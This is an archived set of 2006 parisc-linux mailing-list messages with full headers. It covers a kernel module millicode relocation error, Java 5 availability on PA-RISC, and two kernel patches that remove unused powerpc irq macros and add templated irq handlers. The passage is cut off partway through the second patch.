Date: Mon, 4 Dec 2006 18:25:03 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <200612042325.kB4NP4M0029780__15263.3616155528$1416624630$gmane$org@hiauly1.hia.nrc.ca>
References: <4574A336.3000007@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624630 28295 80.91.229.3 (22 Nov 2014 02:50:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:30 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: kfitzner@excelcia.org (Kurt Fitzner)
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Dec 2006 23:25:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 05 Dec 2006 00:25:55 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C72B47DA22;
	Mon,  4 Dec 2006 16:25:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17691-06; Mon, 4 Dec 2006 16:25:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C10397DA25;
	Mon,  4 Dec 2006 16:25:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D43D47DA21
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Dec 2006 16:25:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17687-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Dec 2006 16:25:44 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 767947DA08
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Dec 2006 16:25:44 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 2EB9849400D; Mon,  4 Dec 2006 16:25:44 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by mail.parisc-linux.org (Postfix) with ESMTP id 9E8B249400C
	for <parisc-linux@parisc-linux.org>;
	Mon,  4 Dec 2006 16:25:22 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kB4NP5FJ029782;
	Mon, 4 Dec 2006 18:25:06 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kB4NP4M0029780;
	Mon, 4 Dec 2006 18:25:04 -0500 (EST)
In-Reply-To: <4574A336.3000007@excelcia.org> from "Kurt Fitzner" at Dec 4,
	2006 03:37:42 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sZhBdFoHbUkoDenGPWgnqutkZ2hlN0qs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25406

> dmesg reveals:
>  module xfs relocation of symbol $$divU is out of range (0x3ffefffd in
>  17 bits)

$$divU is a millicode routine.  There are special limitations on
branch distances for millicode.  If this was userspace, $$divU would
be linked into the module and stubs would handle out of range branches.
Millicode symbols are forced local so they can appear in more than
one module.

The above message suggests that the millicode library isn't being
linked with kernel modules and that the symbol is being resolved
by the kernel itself.  I could be all wet about this though...

The fix in this case is probably to build the module into the kernel.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java 5
Date: Mon, 4 Dec 2006 18:58:00 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200612042358.kB4Nw1Wv000505__15618.9225418077$1416624630$gmane$org@hiauly1.hia.nrc.ca>
References: <4574ABBE.2060206@venture.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624630 28300 80.91.229.3 (22 Nov 2014 02:50:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:30 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: curtis.cooley@venture.com.sg (Curtis Cooley)
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Dec 2006 23:58:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 05 Dec 2006 00:58:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5DB07DA1D;
	Mon,  4 Dec 2006 16:58:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17921-09; Mon, 4 Dec 2006 16:58:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C45C37DA20;
	Mon,  4 Dec 2006 16:58:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 020387DA1B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Dec 2006 16:58:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17960-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Dec 2006 16:58:23 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 995A77DA19
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Dec 2006 16:58:23 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 5F0F049400C; Mon,  4 Dec 2006 16:58:23 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by mail.parisc-linux.org (Postfix) with ESMTP id 0FF5649400D
	for <parisc-linux@parisc-linux.org>;
	Mon,  4 Dec 2006 16:58:02 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kB4Nw1K6000506;
	Mon, 4 Dec 2006 18:58:01 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kB4Nw1Wv000505;
	Mon, 4 Dec 2006 18:58:01 -0500 (EST)
In-Reply-To: <4574ABBE.2060206@venture.com.sg> from "Curtis Cooley" at Dec 4,
	2006 03:14:06 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: esIRNVgOZCEXX7GPamwhLctwIGhpZQZJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25407

> I don't really care that it's necessarily from Sun, but that it supports 
> Java5.

There is an HP-UX version available from HP for 11iv1 and later.

The PA-RISC Linux project is volunteer based, so it doesn't have
the resources for a port without help from the Java community.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java 5
Date: Mon, 4 Dec 2006 19:20:56 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <200612050020.kB50KuhW001089__30351.3622646735$1416624630$gmane$org@hiauly1.hia.nrc.ca>
References: <200612042358.kB4Nw1Wv000505@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624630 28303 80.91.229.3 (22 Nov 2014 02:50:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:30 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Dec 2006 00:21:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 05 Dec 2006 01:21:30 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C727E7D82B;
	Mon,  4 Dec 2006 17:21:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18246-08; Mon, 4 Dec 2006 17:21:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DE2CC7D83F;
	Mon,  4 Dec 2006 17:21:24 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6DE007DA2B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Dec 2006 17:21:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18267-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Dec 2006 17:21:21 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0B2587DA28
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Dec 2006 17:21:21 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id C47FB49400D; Mon,  4 Dec 2006 17:21:20 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by mail.parisc-linux.org (Postfix) with ESMTP id 5D3AB49400C
	for <parisc-linux@parisc-linux.org>;
	Mon,  4 Dec 2006 17:20:59 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kB50Kv2t001090;
	Mon, 4 Dec 2006 19:20:57 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kB50KuhW001089;
	Mon, 4 Dec 2006 19:20:56 -0500 (EST)
In-Reply-To: <200612042358.kB4Nw1Wv000505@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Dec 4, 2006 06:58:00 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: v4lDcmUcbGI0QqaDYmRnWsJncmZ1ZlzU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25408

> The PA-RISC Linux project is volunteer based, so it doesn't have
> the resources for a port without help from the Java community.

The debian Java 5 packages are 'sun-java5-*'.  However, processor
support is limited to essentially i386, amd64 (partial) and ia64
(partial).  They are non-free.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 1/3] Delete unused irq functions on powerpc
Date: Tue,  5 Dec 2006 22:15:05 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <11653821071704-git-send-email-matthew__12267.3802231022$1416624631$gmane$org@wil.cx>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624631 28307 80.91.229.3 (22 Nov 2014 02:50:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:31 +0000 (UTC)
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Matthew Wilcox <matthew@wil.cx>,
 parisc-linux@parisc-linux.org
To: linux-kernel@vger.kernel.org
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Dec 2006 05:15:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 06 Dec 2006 06:15:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A4007D63A;
	Tue,  5 Dec 2006 22:15:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32333-08; Tue, 5 Dec 2006 22:15:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 436CE7D62E;
	Tue,  5 Dec 2006 22:15:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6D9CD7D63E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Dec 2006 22:15:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32255-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Dec 2006 22:15:08 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 093CA7D420
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Dec 2006 22:15:08 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id B900A494010; Tue,  5 Dec 2006 22:15:07 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id A866B49400E; Tue,  5 Dec 2006 22:15:07 -0700 (MST)
X-Mailer: git-send-email 1.4.3.3
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iTgDdqRBODBpUrWUfGRMI+w1Ji9SWhKT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25409

The ack_irq macro is unused and conflicts with James' work to template
the generic irq code.  mask_irq and unmask_irq are also unused, so delete
those macros too.

Signed-off-by: Matthew Wilcox <matthew@wil.cx>
---
 include/asm-powerpc/hw_irq.h |   19 -------------------
 1 files changed, 0 insertions(+), 19 deletions(-)

diff --git a/include/asm-powerpc/hw_irq.h b/include/asm-powerpc/hw_irq.h
index d604863..9e4dd98 100644
--- a/include/asm-powerpc/hw_irq.h
+++ b/include/asm-powerpc/hw_irq.h
@@ -107,25 +107,6 @@ static inline void local_irq_save_ptr(un
 
 #endif /* CONFIG_PPC64 */
 
-#define mask_irq(irq)						\
-	({							\
-	 	irq_desc_t *desc = get_irq_desc(irq);		\
-		if (desc->chip && desc->chip->disable)	\
-			desc->chip->disable(irq);		\
-	})
-#define unmask_irq(irq)						\
-	({							\
-	 	irq_desc_t *desc = get_irq_desc(irq);		\
-		if (desc->chip && desc->chip->enable)	\
-			desc->chip->enable(irq);		\
-	})
-#define ack_irq(irq)						\
-	({							\
-	 	irq_desc_t *desc = get_irq_desc(irq);		\
-		if (desc->chip && desc->chip->ack)	\
-			desc->chip->ack(irq);		\
-	})

From - Thu Nov 08 21:37:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 2/3] Add the ability to template irq handlers
	in the generic irq code
Date: Tue,  5 Dec 2006 22:15:06 -0700
Lines: 213
Approved: news@gmane.org
Message-ID: <1165382107889-git-send-email-matthew__633.350588805293$1416624631$gmane$org@wil.cx>
References: <11653821071704-git-send-email-matthew@wil.cx>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624631 28312 80.91.229.3 (22 Nov 2014 02:50:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:31 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 Matthew Wilcox <matthew@wil.cx>,
 parisc-linux@parisc-linux.org
To: linux-kernel@vger.kernel.org
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Dec 2006 05:15:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx095) with SMTP; 06 Dec 2006 06:15:27 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D64027D63C;
	Tue,  5 Dec 2006 22:15:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32550-01; Tue, 5 Dec 2006 22:15:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36E027D66F;
	Tue,  5 Dec 2006 22:15:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8AA0B7D420
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Dec 2006 22:15:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32333-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Dec 2006 22:15:08 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1B7EC7D424
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Dec 2006 22:15:08 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 0688D494013; Tue,  5 Dec 2006 22:15:08 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id EA8FE494011; Tue,  5 Dec 2006 22:15:07 -0700 (MST)
X-Mailer: git-send-email 1.4.3.3
In-Reply-To: <11653821071704-git-send-email-matthew@wil.cx>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yGNPcKo5eWU7ULeUfHVzVe85U3U4N8/7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25410

On parisc, we have the issue that function call pointers are hugely
expensive, so we'd like to minimise their use in the interrupts.
Unfortunately, this involves directly calling the ack/eoi functions
instead of indirecting.  To permit this without losing the advantages of
centrally managed irq code, I introduced template builders for irq
handlers.  This allows us to construct special handlers on parisc that
don't indirect through function call pointers.

Signed-off-by: James Bottomley <James.Bottomley@SteelEye.com>

Some fixes by Andrew Morton and Matthew Wilcox due to rapid code flux
in this area.

Signed-off-by: Matthew Wilcox <matthew@wil.cx>
---
 kernel/irq/chip.c |  163 ++++++++++++++++++++++++++++++++++-------------------
 1 files changed, 104 insertions(+), 59 deletions(-)

diff --git a/kernel/irq/chip.c b/kernel/irq/chip.c
index ebfd24a..1b18c5c 100644
--- a/kernel/irq/chip.c
+++ b/kernel/irq/chip.c
@@ -17,6 +17,87 @@
 
 #include "internals.h"
 
+/* Helpers for constructing IRQ handlers */
+
+#ifdef CONFIG_SMP
+#define HANDLE_PERCPU_IRQ(NAME, ACK, EOI)				\
+void fastcall								\
+handle_percpu_irq##NAME(unsigned int irq, struct irq_desc *desc)	\
+{									\
+	irqreturn_t action_ret;						\
+									\
+	kstat_this_cpu.irqs[irq]++;					\
+									\
+	ACK(desc, irq);							\
+									\
+	action_ret = handle_IRQ_event(irq, desc->action);		\
+	if (!noirqdebug)						\
+		note_interrupt(irq, desc, action_ret);			\
+									\
+	EOI(desc,irq);							\
+}
+#else
+#define HANDLE_PERCPU_IRQ(NAME, ACK, END)
+#endif /* CONFIG_SMP */
+
+#define HANDLE_LEVEL_IRQ(NAME, MASK, UNMASK)				\
+void fastcall								\
